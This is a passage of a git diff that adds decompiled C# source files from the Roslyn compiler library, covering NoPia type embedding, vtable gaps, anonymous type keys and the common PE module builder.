ITypeReference.AsNamespaceTypeDefinition(EmitContext context) + { + return null; + } + + INestedTypeDefinition ITypeReference.AsNestedTypeDefinition(EmitContext context) + { + return null; + } + + ITypeDefinition ITypeReference.AsTypeDefinition(EmitContext context) + { + return null; + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/CommonEmbeddedTypeParameter.cs", 199); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return null; + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return null; + } + + public sealed override bool Equals(object obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/CommonEmbeddedTypeParameter.cs", 230); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/CommonEmbeddedTypeParameter.cs", 236); + } + } + + private sealed class TypeComparer : IComparer + { + public static readonly TypeComparer Instance = new TypeComparer(); + + private TypeComparer() + { + } + + public int Compare(TEmbeddedType x, TEmbeddedType y) + { + int num = string.Compare(((INamespaceTypeReference)x).NamespaceName, ((INamespaceTypeReference)y).NamespaceName, StringComparison.Ordinal); + if (num == 0) + { + num = string.Compare(((INamedEntity)x).Name, ((INamedEntity)y).Name, StringComparison.Ordinal); + if (num == 0) + { + num = x.AssemblyRefIndex - y.AssemblyRefIndex; + } + } + return num; + } + } + + public readonly TPEModuleBuilder ModuleBeingBuilt; + + public readonly ConcurrentDictionary EmbeddedTypesMap = new ConcurrentDictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + public readonly ConcurrentDictionary EmbeddedFieldsMap = new ConcurrentDictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + public readonly ConcurrentDictionary EmbeddedMethodsMap = new ConcurrentDictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + public readonly ConcurrentDictionary EmbeddedPropertiesMap = new ConcurrentDictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + public readonly ConcurrentDictionary EmbeddedEventsMap = new ConcurrentDictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + private ImmutableArray _frozen; + + public override bool IsFrozen => !_frozen.IsDefault; + + protected EmbeddedTypesManager(TPEModuleBuilder moduleBeingBuilt) + { + ModuleBeingBuilt = moduleBeingBuilt; + } + + public override ImmutableArray GetTypes(DiagnosticBag diagnostics, HashSet namesOfTopLevelTypes) + { + if (_frozen.IsDefault) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.AddRange(EmbeddedTypesMap.Values); + instance.Sort(TypeComparer.Instance); + if (ImmutableInterlocked.InterlockedInitialize(ref _frozen, instance.ToImmutableAndFree()) && _frozen.Length > 0) + { + INamespaceTypeDefinition namespaceTypeDefinition = _frozen[0]; + bool flag = HasNameConflict(namesOfTopLevelTypes, _frozen[0], diagnostics); + for (int i = 1; i < _frozen.Length; i++) + { + INamespaceTypeDefinition namespaceTypeDefinition2 = _frozen[i]; + if (namespaceTypeDefinition.NamespaceName == namespaceTypeDefinition2.NamespaceName && namespaceTypeDefinition.Name == namespaceTypeDefinition2.Name) + { + if (!flag) + { + ReportNameCollisionBetweenEmbeddedTypes(_frozen[i - 1], _frozen[i], diagnostics); + flag = true; + } + } + else + { + namespaceTypeDefinition = namespaceTypeDefinition2; + flag = HasNameConflict(namesOfTopLevelTypes, _frozen[i], diagnostics); + } + } + OnGetTypesCompleted(_frozen, diagnostics); + } + } + return StaticCast.From(_frozen); + } + + private bool HasNameConflict(HashSet namesOfTopLevelTypes, TEmbeddedType type, DiagnosticBag diagnostics) + { + if (namesOfTopLevelTypes.Contains(MetadataHelpers.BuildQualifiedName(((INamespaceTypeReference)type).NamespaceName, ((INamedEntity)type).Name))) + { + ReportNameCollisionWithAlreadyDeclaredType(type, diagnostics); + return true; + } + return false; + } + + internal abstract int GetTargetAttributeSignatureIndex(TSymbol underlyingSymbol, TAttributeData attrData, AttributeDescription description); + + internal bool IsTargetAttribute(TSymbol underlyingSymbol, TAttributeData attrData, AttributeDescription description) + { + return GetTargetAttributeSignatureIndex(underlyingSymbol, attrData, description) != -1; + } + + internal abstract TAttributeData CreateSynthesizedAttribute(WellKnownMember constructor, TAttributeData attrData, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics); + + internal abstract void ReportIndirectReferencesToLinkedAssemblies(TAssemblySymbol assembly, DiagnosticBag diagnostics); + + protected abstract void OnGetTypesCompleted(ImmutableArray types, DiagnosticBag diagnostics); + + protected abstract void ReportNameCollisionBetweenEmbeddedTypes(TEmbeddedType typeA, TEmbeddedType typeB, DiagnosticBag diagnostics); + + protected abstract void ReportNameCollisionWithAlreadyDeclaredType(TEmbeddedType type, DiagnosticBag diagnostics); + + protected abstract TAttributeData CreateCompilerGeneratedAttribute(); + + protected void EmbedReferences(ITypeDefinitionMember embeddedMember, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + new TypeReferenceIndexer(new EmitContext(ModuleBeingBuilt, syntaxNodeOpt, diagnostics, metadataOnly: false, includePrivateMembers: true)).Visit(embeddedMember); + } + + protected abstract TEmbeddedType GetEmbeddedTypeForMember(TSymbol member, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics); + + internal abstract TEmbeddedField EmbedField(TEmbeddedType type, TFieldSymbol field, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics); + + internal abstract TEmbeddedMethod EmbedMethod(TEmbeddedType type, TMethodSymbol method, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics); + + internal abstract TEmbeddedProperty EmbedProperty(TEmbeddedType type, TPropertySymbol property, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics); + + internal abstract TEmbeddedEvent EmbedEvent(TEmbeddedType type, TEventSymbol @event, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics, bool isUsedForComAwareEventBinding); + + internal IFieldReference EmbedFieldIfNeedTo(TFieldSymbol fieldSymbol, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + TEmbeddedType embeddedTypeForMember = GetEmbeddedTypeForMember((TSymbol)fieldSymbol, syntaxNodeOpt, diagnostics); + if (embeddedTypeForMember != null) + { + return EmbedField(embeddedTypeForMember, fieldSymbol, syntaxNodeOpt, diagnostics); + } + return fieldSymbol; + } + + internal IMethodReference EmbedMethodIfNeedTo(TMethodSymbol methodSymbol, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + TEmbeddedType embeddedTypeForMember = GetEmbeddedTypeForMember((TSymbol)methodSymbol, syntaxNodeOpt, diagnostics); + if (embeddedTypeForMember != null) + { + return EmbedMethod(embeddedTypeForMember, methodSymbol, syntaxNodeOpt, diagnostics); + } + return methodSymbol; + } + + internal void EmbedEventIfNeedTo(TEventSymbol eventSymbol, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics, bool isUsedForComAwareEventBinding) + { + TEmbeddedType embeddedTypeForMember = GetEmbeddedTypeForMember((TSymbol)eventSymbol, syntaxNodeOpt, diagnostics); + if (embeddedTypeForMember != null) + { + EmbedEvent(embeddedTypeForMember, eventSymbol, syntaxNodeOpt, diagnostics, isUsedForComAwareEventBinding); + } + } + + internal void EmbedPropertyIfNeedTo(TPropertySymbol propertySymbol, TSyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + TEmbeddedType embeddedTypeForMember = GetEmbeddedTypeForMember((TSymbol)propertySymbol, syntaxNodeOpt, diagnostics); + if (embeddedTypeForMember != null) + { + EmbedProperty(embeddedTypeForMember, propertySymbol, syntaxNodeOpt, diagnostics); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.NoPia/VtblGap.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.NoPia/VtblGap.cs new file mode 100644 index 0000000..56d8204 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit.NoPia/VtblGap.cs @@ -0,0 +1,158 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit.NoPia; + +internal sealed class VtblGap : IMethodDefinition, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition, IMethodReference, ISignature +{ + public readonly ITypeDefinition ContainingType; + + private readonly string _name; + + IEnumerable IMethodDefinition.GenericParameters => SpecializedCollections.EmptyEnumerable(); + + bool IMethodDefinition.HasDeclarativeSecurity => false; + + bool IMethodDefinition.IsAbstract => false; + + bool IMethodDefinition.IsAccessCheckedOnOverride => false; + + bool IMethodDefinition.IsConstructor => false; + + bool IMethodDefinition.IsExternal => false; + + bool IMethodDefinition.IsHiddenBySignature => false; + + bool IMethodDefinition.IsNewSlot => false; + + bool IMethodDefinition.IsPlatformInvoke => false; + + bool IMethodDefinition.IsRuntimeSpecial => true; + + bool IMethodDefinition.IsSealed => false; + + bool IMethodDefinition.IsSpecialName => true; + + bool IMethodDefinition.IsStatic => false; + + bool IMethodDefinition.IsVirtual => false; + + ImmutableArray IMethodDefinition.Parameters => ImmutableArray.Empty; + + IPlatformInvokeInformation IMethodDefinition.PlatformInvokeData => null; + + bool IMethodDefinition.RequiresSecurityObject => false; + + bool IMethodDefinition.ReturnValueIsMarshalledExplicitly => false; + + IMarshallingInformation IMethodDefinition.ReturnValueMarshallingInformation => null; + + ImmutableArray IMethodDefinition.ReturnValueMarshallingDescriptor => default(ImmutableArray); + + IEnumerable IMethodDefinition.SecurityAttributes => SpecializedCollections.EmptyEnumerable(); + + ITypeDefinition ITypeDefinitionMember.ContainingTypeDefinition => ContainingType; + + INamespace IMethodDefinition.ContainingNamespace => null; + + TypeMemberVisibility ITypeDefinitionMember.Visibility => TypeMemberVisibility.Public; + + string INamedEntity.Name => _name; + + bool IMethodReference.AcceptsExtraArguments => false; + + ushort IMethodReference.GenericParameterCount => 0; + + bool IMethodReference.IsGeneric => false; + + ImmutableArray IMethodReference.ExtraParameters => ImmutableArray.Empty; + + IGenericMethodInstanceReference IMethodReference.AsGenericMethodInstanceReference => null; + + ISpecializedMethodReference IMethodReference.AsSpecializedMethodReference => null; + + CallingConvention ISignature.CallingConvention => CallingConvention.HasThis; + + ushort ISignature.ParameterCount => 0; + + ImmutableArray ISignature.ReturnValueCustomModifiers => ImmutableArray.Empty; + + ImmutableArray ISignature.RefCustomModifiers => ImmutableArray.Empty; + + bool ISignature.ReturnValueIsByRef => false; + + public VtblGap(ITypeDefinition containingType, string name) + { + ContainingType = containingType; + _name = name; + } + + IMethodBody IMethodDefinition.GetBody(EmitContext context) + { + return null; + } + + MethodImplAttributes IMethodDefinition.GetImplementationAttributes(EmitContext context) + { + return MethodImplAttributes.CodeTypeMask; + } + + IEnumerable IMethodDefinition.GetReturnValueAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + ITypeReference ITypeMemberReference.GetContainingType(EmitContext context) + { + return ContainingType; + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return null; + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return this; + } + + IMethodDefinition IMethodReference.GetResolvedMethod(EmitContext context) + { + return this; + } + + ImmutableArray ISignature.GetParameters(EmitContext context) + { + return ImmutableArray.Empty; + } + + ITypeReference ISignature.GetType(EmitContext context) + { + return context.Module.GetPlatformType(PlatformType.SystemVoid, context); + } + + public sealed override bool Equals(object obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/VtblGap.cs", 263); + } + + public sealed override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Emit/NoPia/VtblGap.cs", 269); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AddedOrChangedMethodInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AddedOrChangedMethodInfo.cs new file mode 100644 index 0000000..41307c2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AddedOrChangedMethodInfo.cs @@ -0,0 +1,52 @@ +using System.Collections.Immutable; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CodeGen; + +namespace Microsoft.CodeAnalysis.Emit; + +internal readonly struct AddedOrChangedMethodInfo(DebugId methodId, ImmutableArray locals, ImmutableArray lambdaDebugInfo, ImmutableArray closureDebugInfo, string? stateMachineTypeName, ImmutableArray stateMachineHoistedLocalSlotsOpt, ImmutableArray stateMachineAwaiterSlotsOpt, StateMachineStatesDebugInfo stateMachineStates) +{ + public readonly DebugId MethodId = methodId; + + public readonly ImmutableArray Locals = locals; + + public readonly ImmutableArray LambdaDebugInfo = lambdaDebugInfo; + + public readonly ImmutableArray ClosureDebugInfo = closureDebugInfo; + + public readonly string? StateMachineTypeName = stateMachineTypeName; + + public readonly ImmutableArray StateMachineHoistedLocalSlotsOpt = stateMachineHoistedLocalSlotsOpt; + + public readonly ImmutableArray StateMachineAwaiterSlotsOpt = stateMachineAwaiterSlotsOpt; + + public readonly StateMachineStatesDebugInfo StateMachineStates = stateMachineStates; + + public AddedOrChangedMethodInfo MapTypes(SymbolMatcher map) + { + ImmutableArray locals = ImmutableArray.CreateRange(Locals, MapLocalInfo, map); + ImmutableArray stateMachineHoistedLocalSlotsOpt = (StateMachineHoistedLocalSlotsOpt.IsDefault ? default(ImmutableArray) : ImmutableArray.CreateRange(StateMachineHoistedLocalSlotsOpt, MapHoistedLocalSlot, map)); + ImmutableArray stateMachineAwaiterSlotsOpt = (StateMachineAwaiterSlotsOpt.IsDefault ? default(ImmutableArray) : ImmutableArray.CreateRange(StateMachineAwaiterSlotsOpt, (ITypeReference typeRef, SymbolMatcher symbolMatcher) => (typeRef != null) ? symbolMatcher.MapReference(typeRef) : null, map)); + return new AddedOrChangedMethodInfo(MethodId, locals, LambdaDebugInfo, ClosureDebugInfo, StateMachineTypeName, stateMachineHoistedLocalSlotsOpt, stateMachineAwaiterSlotsOpt, StateMachineStates); + } + + private static EncLocalInfo MapLocalInfo(EncLocalInfo info, SymbolMatcher map) + { + if (info.Type == null) + { + return info; + } + ITypeReference type = map.MapReference(info.Type); + return new EncLocalInfo(info.SlotInfo, type, info.Constraints, info.Signature); + } + + private static EncHoistedLocalInfo MapHoistedLocalSlot(EncHoistedLocalInfo info, SymbolMatcher map) + { + if (info.Type == null) + { + return info; + } + ITypeReference type = map.MapReference(info.Type); + return new EncHoistedLocalInfo(info.SlotInfo, type); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AnonymousTypeKey.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AnonymousTypeKey.cs new file mode 100644 index 0000000..19d85e1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AnonymousTypeKey.cs @@ -0,0 +1,58 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal readonly struct AnonymousTypeKey : IEquatable +{ + internal readonly bool IsDelegate; + + internal readonly ImmutableArray Fields; + + internal AnonymousTypeKey(ImmutableArray fields, bool isDelegate = false) + { + IsDelegate = isDelegate; + Fields = fields; + } + + public bool Equals(AnonymousTypeKey other) + { + if (IsDelegate == other.IsDelegate) + { + return Fields.SequenceEqual(other.Fields); + } + return false; + } + + public override bool Equals(object obj) + { + return Equals((AnonymousTypeKey)obj); + } + + public override int GetHashCode() + { + bool isDelegate = IsDelegate; + return Hash.Combine(isDelegate.GetHashCode(), Hash.CombineValues(Fields)); + } + + private string GetDebuggerDisplay() + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + for (int i = 0; i < Fields.Length; i++) + { + if (i > 0) + { + builder.Append("|"); + } + builder.Append(Fields[i].Name); + } + return instance.ToStringAndFree(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AnonymousTypeKeyField.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AnonymousTypeKeyField.cs new file mode 100644 index 0000000..37af85b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AnonymousTypeKeyField.cs @@ -0,0 +1,32 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +internal readonly struct AnonymousTypeKeyField(string name, bool isKey, bool ignoreCase) : IEquatable +{ + internal readonly string Name = name; + + internal readonly bool IsKey = isKey; + + internal readonly bool IgnoreCase = ignoreCase; + + public bool Equals(AnonymousTypeKeyField other) + { + if (IsKey == other.IsKey && IgnoreCase == other.IgnoreCase) + { + return (IgnoreCase ? StringComparer.OrdinalIgnoreCase : StringComparer.Ordinal).Equals(Name, other.Name); + } + return false; + } + + public override bool Equals(object obj) + { + return Equals((AnonymousTypeKeyField)obj); + } + + public override int GetHashCode() + { + return Hash.Combine(IsKey, Hash.Combine(IgnoreCase, (IgnoreCase ? StringComparer.OrdinalIgnoreCase : StringComparer.Ordinal).GetHashCode(Name))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AnonymousTypeValue.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AnonymousTypeValue.cs new file mode 100644 index 0000000..2bfde20 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AnonymousTypeValue.cs @@ -0,0 +1,14 @@ +using System.Diagnostics; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.Emit; + +[DebuggerDisplay("{Name, nq}")] +internal readonly struct AnonymousTypeValue(string name, int uniqueIndex, ITypeDefinition type) +{ + public readonly string Name = name; + + public readonly int UniqueIndex = uniqueIndex; + + public readonly ITypeDefinition Type = type; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AsyncMoveNextBodyDebugInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AsyncMoveNextBodyDebugInfo.cs new file mode 100644 index 0000000..ce146bc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/AsyncMoveNextBodyDebugInfo.cs @@ -0,0 +1,21 @@ +using System.Collections.Immutable; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.Emit; + +internal sealed class AsyncMoveNextBodyDebugInfo : StateMachineMoveNextBodyDebugInfo +{ + public readonly int CatchHandlerOffset; + + public readonly ImmutableArray YieldOffsets; + + public readonly ImmutableArray ResumeOffsets; + + public AsyncMoveNextBodyDebugInfo(IMethodDefinition kickoffMethod, int catchHandlerOffset, ImmutableArray yieldOffsets, ImmutableArray resumeOffsets) + : base(kickoffMethod) + { + CatchHandlerOffset = catchHandlerOffset; + YieldOffsets = yieldOffsets; + ResumeOffsets = resumeOffsets; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/CommonPEModuleBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/CommonPEModuleBuilder.cs new file mode 100644 index 0000000..0595a9e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Emit/CommonPEModuleBuilder.cs @@ -0,0 +1,423 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Security.Cryptography; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit.NoPia; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Emit; + +internal abstract class CommonPEModuleBuilder : IUnit, IUnitReference, IReference, INamedEntity, IDefinition, IModuleReference +{ + internal readonly DebugDocumentsBuilder DebugDocumentsBuilder; + + internal readonly IEnumerable ManifestResources; + + internal readonly ModulePropertiesForSerialization SerializationProperties; + + internal readonly OutputKind OutputKind; + + internal Stream? RawWin32Resources; + + internal IEnumerable? Win32Resources; + + internal ResourceSection? Win32ResourceSection; + + internal Stream? SourceLinkStreamOpt; + + internal IMethodReference? PEEntryPoint; + + internal IMethodReference? DebugEntryPoint; + + private readonly ConcurrentDictionary _methodBodyMap; + + private readonly TokenMap _referencesInILMap = new TokenMap(); + + private readonly ItemTokenMap _stringsInILMap = new ItemTokenMap(); + + private readonly ItemTokenMap _sourceDocumentsInILMap = new ItemTokenMap(); + + private ImmutableArray _lazyAssemblyReferenceAliases; + + private ImmutableArray _lazyManagedResources; + + private IEnumerable _embeddedTexts = SpecializedCollections.EmptyEnumerable(); + + internal CompilationTestData? TestData { get; private set; } + + internal EmitOptions EmitOptions { get; } + + internal DebugInformationFormat DebugInformationFormat => EmitOptions.DebugInformationFormat; + + internal HashAlgorithmName PdbChecksumAlgorithm => EmitOptions.PdbChecksumAlgorithm; + + public abstract SymbolChanges? EncSymbolChanges { get; } + + public abstract EmitBaseline? PreviousGeneration { get; } + + public bool IsEncDelta => PreviousGeneration != null; + + public int CurrentGenerationOrdinal + { + get + { + EmitBaseline? previousGeneration = PreviousGeneration; + if (previousGeneration == null) + { + return 0; + } + return previousGeneration.Ordinal + 1; + } + } + + public abstract string Name { get; } + + internal abstract string ModuleName { get; } + + internal abstract Compilation CommonCompilation { get; } + + internal abstract IModuleSymbolInternal CommonSourceModule { get; } + + internal abstract IAssemblySymbolInternal CommonCorLibrary { get; } + + internal abstract CommonModuleCompilationState CommonModuleCompilationState { get; } + + internal abstract CommonEmbeddedTypesManager CommonEmbeddedTypesManagerOpt { get; } + + public abstract bool GenerateVisualBasicStylePdb { get; } + + public abstract IEnumerable LinkedAssembliesDebugInfo { get; } + + public abstract string DefaultNamespace { get; } + + public int DebugDocumentCount => DebugDocumentsBuilder.DebugDocumentCount; + + public abstract ISourceAssemblySymbolInternal SourceAssemblyOpt { get; } + + public int HintNumberOfMethodDefinitions => (int)((double)_methodBodyMap.Count * 1.5); + + public IEnumerable EmbeddedTexts + { + get + { + return _embeddedTexts; + } + set + { + _embeddedTexts = value; + } + } + + public CommonPEModuleBuilder(IEnumerable manifestResources, EmitOptions emitOptions, OutputKind outputKind, ModulePropertiesForSerialization serializationProperties, Compilation compilation) + { + ManifestResources = manifestResources; + DebugDocumentsBuilder = new DebugDocumentsBuilder(compilation.Options.SourceReferenceResolver, compilation.IsCaseSensitive); + OutputKind = outputKind; + SerializationProperties = serializationProperties; + _methodBodyMap = new ConcurrentDictionary(Roslyn.Utilities.ReferenceEqualityComparer.Instance); + EmitOptions = emitOptions; + } + + internal abstract IAssemblyReference Translate(IAssemblySymbolInternal symbol, DiagnosticBag diagnostics); + + internal abstract ITypeReference Translate(ITypeSymbolInternal symbol, SyntaxNode syntaxOpt, DiagnosticBag diagnostics); + + internal abstract IMethodReference Translate(IMethodSymbolInternal symbol, DiagnosticBag diagnostics, bool needDeclaration); + + internal abstract void CompilationFinished(); + + internal abstract ImmutableDictionary> GetAllSynthesizedMembers(); + + internal abstract ITypeReference EncTranslateType(ITypeSymbolInternal type, DiagnosticBag diagnostics); + + public abstract IEnumerable GetSourceAssemblyAttributes(bool isRefAssembly); + + public abstract IEnumerable GetSourceAssemblySecurityAttributes(); + + public abstract IEnumerable GetSourceModuleAttributes(); + + internal abstract ICustomAttribute SynthesizeAttribute(WellKnownMember attributeConstructor); + + public abstract ImmutableArray GetExportedTypes(DiagnosticBag diagnostics); + + public abstract ImmutableArray GetImports(); + + protected abstract IAssemblyReference GetCorLibraryReferenceToEmit(EmitContext context); + + protected abstract IEnumerable GetAssemblyReferencesFromAddedModules(DiagnosticBag diagnostics); + + protected abstract void AddEmbeddedResourcesFromAddedModules(ArrayBuilder builder, DiagnosticBag diagnostics); + + public abstract ITypeReference GetPlatformType(PlatformType platformType, EmitContext context); + + public abstract bool IsPlatformType(ITypeReference typeRef, PlatformType platformType); + + public abstract IEnumerable GetTopLevelTypeDefinitions(EmitContext context); + + public IEnumerable GetTopLevelTypeDefinitionsCore(EmitContext context) + { + foreach (INamespaceTypeDefinition anonymousTypeDefinition in GetAnonymousTypeDefinitions(context)) + { + yield return anonymousTypeDefinition; + } + foreach (INamespaceTypeDefinition additionalTopLevelTypeDefinition in GetAdditionalTopLevelTypeDefinitions(context)) + { + yield return additionalTopLevelTypeDefinition; + } + foreach (INamespaceTypeDefinition embeddedTypeDefinition in GetEmbeddedTypeDefinitions(context)) + { + yield return embeddedTypeDefinition; + } + foreach (INamespaceTypeDefinition topLevelSourceTypeDefinition in GetTopLevelSourceTypeDefinitions(context)) + { + yield return topLevelSourceTypeDefinition; + } + PrivateImplementationDetails privateImpl = GetFrozenPrivateImplementationDetails(); + if (privateImpl == null) + { + yield break; + } + yield return privateImpl; + foreach (INamespaceTypeDefinition additionalTopLevelType in privateImpl.GetAdditionalTopLevelTypes()) + { + yield return additionalTopLevelType; + } + } + + public abstract PrivateImplementationDetails? GetFrozenPrivateImplementationDetails(); + + public abstract IEnumerable GetAdditionalTopLevelTypeDefinitions(EmitContext context); + + public abstract IEnumerable GetAnonymousTypeDefinitions(EmitContext context); + + public abstract IEnumerable GetEmbeddedTypeDefinitions(EmitContext context); + + public abstract IEnumerable GetTopLevelSourceTypeDefinitions(EmitContext context); + + public abstract IEnumerable GetFiles(EmitContext context); + + public abstract MultiDictionary GetSymbolToLocationMap(); + + public abstract IEnumerable<(ITypeDefinition, ImmutableArray)> GetTypeToDebugDocumentMap(EmitContext context); + + public void Dispatch(MetadataVisitor visitor) + { + visitor.Visit(this); + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return this; + } + + ISymbolInternal IReference.GetInternalSymbol() + { + return null; + } + + internal IMethodBody GetMethodBody(IMethodSymbolInternal methodSymbol) + { + if (_methodBodyMap.TryGetValue(methodSymbol, out IMethodBody value)) + { + return value; + } + return null; + } + + public void SetMethodBody(IMethodSymbolInternal methodSymbol, IMethodBody body) + { + _methodBodyMap.Add(methodSymbol, body); + } + + internal void SetPEEntryPoint(IMethodSymbolInternal method, DiagnosticBag diagnostics) + { + PEEntryPoint = Translate(method, diagnostics, needDeclaration: true); + } + + internal void SetDebugEntryPoint(IMethodSymbolInternal method, DiagnosticBag diagnostics) + { + DebugEntryPoint = Translate(method, diagnostics, needDeclaration: true); + } + + private bool IsSourceDefinition(IMethodSymbolInternal method) + { + if (method.ContainingModule == CommonSourceModule) + { + return method.IsDefinition; + } + return false; + } + + public IAssemblyReference GetCorLibrary(EmitContext context) + { + return Translate(CommonCorLibrary, context.Diagnostics); + } + + public IAssemblyReference GetContainingAssembly(EmitContext context) + { + if (OutputKind != OutputKind.NetModule) + { + return (IAssemblyReference)this; + } + return null; + } + + public IEnumerable GetStrings() + { + return _stringsInILMap.GetAllItems(); + } + + public uint GetFakeSymbolTokenForIL(IReference symbol, SyntaxNode syntaxNode, DiagnosticBag diagnostics) + { + bool referenceAdded; + uint orAddTokenFor = _referencesInILMap.GetOrAddTokenFor(symbol, out referenceAdded); + if (referenceAdded) + { + ReferenceDependencyWalker.VisitReference(symbol, new EmitContext(this, syntaxNode, diagnostics, metadataOnly: false, includePrivateMembers: true)); + } + return orAddTokenFor; + } + + public uint GetFakeSymbolTokenForIL(ISignature symbol, SyntaxNode syntaxNode, DiagnosticBag diagnostics) + { + bool referenceAdded; + uint orAddTokenFor = _referencesInILMap.GetOrAddTokenFor(symbol, out referenceAdded); + if (referenceAdded) + { + ReferenceDependencyWalker.VisitSignature(symbol, new EmitContext(this, syntaxNode, diagnostics, metadataOnly: false, includePrivateMembers: true)); + } + return orAddTokenFor; + } + + public uint GetSourceDocumentIndexForIL(DebugSourceDocument document) + { + return _sourceDocumentsInILMap.GetOrAddTokenFor(document); + } + + internal DebugSourceDocument GetSourceDocumentFromIndex(uint token) + { + return _sourceDocumentsInILMap.GetItem(token); + } + + public object GetReferenceFromToken(uint token) + { + return _referencesInILMap.GetItem(token); + } + + public uint GetFakeStringTokenForIL(string str) + { + return _stringsInILMap.GetOrAddTokenFor(str); + } + + public string GetStringFromToken(uint token) + { + return _stringsInILMap.GetItem(token); + } + + public ReadOnlySpan ReferencesInIL() + { + return _referencesInILMap.GetAllItems(); + } + + public ImmutableArray GetAssemblyReferenceAliases(EmitContext context) + { + if (_lazyAssemblyReferenceAliases.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyAssemblyReferenceAliases, CalculateAssemblyReferenceAliases(context), default(ImmutableArray)); + } + return _lazyAssemblyReferenceAliases; + } + + private ImmutableArray CalculateAssemblyReferenceAliases(EmitContext context) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (var referencedAssemblyAlias in CommonCompilation.GetBoundReferenceManager().GetReferencedAssemblyAliases()) + { + 